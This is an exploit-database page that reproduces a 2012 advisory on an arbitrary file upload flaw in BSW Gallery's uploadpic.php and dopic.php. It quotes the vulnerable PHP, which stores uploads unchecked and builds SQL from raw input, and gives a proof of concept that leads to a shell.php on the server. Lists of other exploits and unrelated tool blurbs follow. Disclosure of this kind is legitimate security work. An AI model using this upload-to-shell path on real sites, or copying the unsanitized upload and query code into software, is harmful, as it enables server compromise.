Menu

Search for hundreds of thousands of exploits

"BSW Gallery - 'uploadpic.php' Arbitrary File Upload"

Author

Exploit author

cr4wl3r

Platform

Exploit platform

php

Release date

Exploit published date

2012-10-18

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
source: https://www.securityfocus.com/bid/56109/info

BSW Gallery is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

Code in uploadpic.php

print "<form method=\"POST\" action=\"dopic.php\"enctype=\"multipart/form-data\" style=\"width: 227px\">";
print "<table align=\"center\" style=\"width: 600px\"dir=\"ltr\"><tr><th align=\"right\"width=\"120\" class=\"topic\"><b>File Upload:</b></th>";
print "<th align=\"left\"><input type=\"file\" name=\"fileupload\"></th></tr>";
print "<tr><th><input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"10240000\"></th></tr></table>";
print"<table align=\"center\"width=\"600\"dir=\"ltr\">";
print"<th class=\"topic\"width=\"120\"align=\"right\">Image Title</th><th align=\"left\"><input style=\"width:400\"type=\"text\" name=\"picture\" /></th></table>";
print"<table align=\"center\"dir=\"ltr\" width=\"600\"><th class=\"topic\" width=\"120\"align=\"right\">Image Description</th>";
print"<th align=\"left\"><textarea name=\"descrip\"cols=\"48\"rows=\"5\">&lt;/textarea&gt;</th></table>";

   Code in dopic.php

$fname=$_POST['picture'];
$descrip=$_POST['descrip'];
$file_dir ="gallery/";


foreach($_FILES as $file_name => $file_array) {
  echo "path: ".$file_array["tmp_name"]."<br/>\n";
  echo "name: ".$file_array["name"]."<br/>\n";
  echo "type: ".$file_array["type"]."<br/>\n";
  
  echo "size: ".$file_array["size"]."<br/>\n";

  if (is_uploaded_file($file_array["tmp_name"])) {
    move_uploaded_file($file_array["tmp_name"], "$file_dir/".$file_array["name"]) or die ("Couldn't copy");
    echo "Done!<br/>";
  }
   
}
$image=$file_dir.$file_array["name"];
$ip = getenv("REMOTE_ADDR");
$sql = "insert into gallery (picture,files,descrip,updated)values('$fname','$image','$descrip',now());";
mysql_query($sql,$mysql);
mysql_close($mysql);

------------------------------------------------------------------------------------
 Proof of Concept  :                                                                                                                              
 http://www.example.com/path_gallery/uploadpic.php                                                                                                         
 Shell :                                                                            
                                                                                    
 http://www.example.com/path_gallery/gallery/shell.php                                          
                                                                                    
 See for the demo :                                                                 
                                                                                    
 http://www.example.com/demo/demo1.png                                                    
 http://www.example.com/demo/demo2.png                                                    
 http://www.example.com/demo/demo3.png
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2013-12-24 "PHP MBB CMS 004 - Multiple Vulnerabilities" webapps php cr4wl3r
2013-12-12 "KikChat - Local File Inclusion / Remote Code Execution" webapps php cr4wl3r
2013-08-02 "FunGamez - Arbitrary File Upload" webapps php cr4wl3r
2013-02-26 "Brewthology 0.1 - SQL Injection" webapps php cr4wl3r
2013-02-21 "RTTucson Quotations Database Script - Authentication Bypass" webapps php cr4wl3r
2013-02-21 "PHPMyRecipes 1.2.2 - 'viewrecipe.php?r_id' SQL Injection" webapps php cr4wl3r
2013-02-21 "Web Cookbook - Multiple Vulnerabilities" webapps php cr4wl3r
2013-02-14 "Ultra Light Forum - Persistent Cross-Site Scripting" webapps php cr4wl3r
2013-01-09 "Free Blog 1.0 - Multiple Vulnerabilities" webapps php cr4wl3r
2013-01-08 "E Sms Script - Multiple SQL Injections" webapps php cr4wl3r
2012-11-15 "ReciPHP 1.1 - SQL Injection" webapps php cr4wl3r
2012-10-18 "Amateur Photographer's Image Gallery - 'fullscreen.php?albumid' SQL Injection" webapps php cr4wl3r
2012-10-18 "BSW Gallery - 'uploadpic.php' Arbitrary File Upload" webapps php cr4wl3r
2012-10-18 "Amateur Photographer's Image Gallery - 'plist.php?albumid' SQL Injection" webapps php cr4wl3r
2012-10-18 "Amateur Photographer's Image Gallery - 'force-download.php?File' Information Disclosure" webapps php cr4wl3r
2012-10-18 "Amateur Photographer's Image Gallery - 'plist.php?albumid' Cross-Site Scripting" webapps php cr4wl3r
2012-10-17 "Sisfokol 4.0 - Arbitrary File Upload" webapps php cr4wl3r
2011-10-21 "SportsPHool 1.0 - Remote File Inclusion" webapps php cr4wl3r
2011-10-07 "BuzzyWall 1.3.2 - 'resolute.php' Information Disclosure" webapps php cr4wl3r
2010-06-11 "ardeacore 2.2 - Remote File Inclusion" webapps php cr4wl3r
2010-05-21 "Online Job Board - Authentication Bypass" webapps php cr4wl3r
2010-05-21 "Online University - Authentication Bypass" webapps php cr4wl3r
2010-05-03 "Gallo 0.1.0 - Remote File Inclusion" webapps php cr4wl3r
2010-05-02 "Openannuaire Openmairie Annuaire 2.00 - Local File Inclusion / Remote File Inclusion" webapps php cr4wl3r
2010-05-01 "Opencimetiere 2.01 - Multiple Remote File Inclusions" webapps php cr4wl3r
2010-05-01 "Opencatalogue 1.024 - Local File Inclusion" webapps php cr4wl3r
2010-04-29 "Scratcher - SQL Injection / Cross-Site Scripting" webapps php cr4wl3r
2010-04-26 "Opencourrier 2.03beta - Local File Inclusion / Remote File Inclusion" webapps php cr4wl3r
2010-04-26 "OpenCominterne 1.01 - Local File Inclusion" webapps php cr4wl3r
2010-04-24 "Openfoncier 2.00 - Local File Inclusion / Remote File Inclusion" webapps php cr4wl3r
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.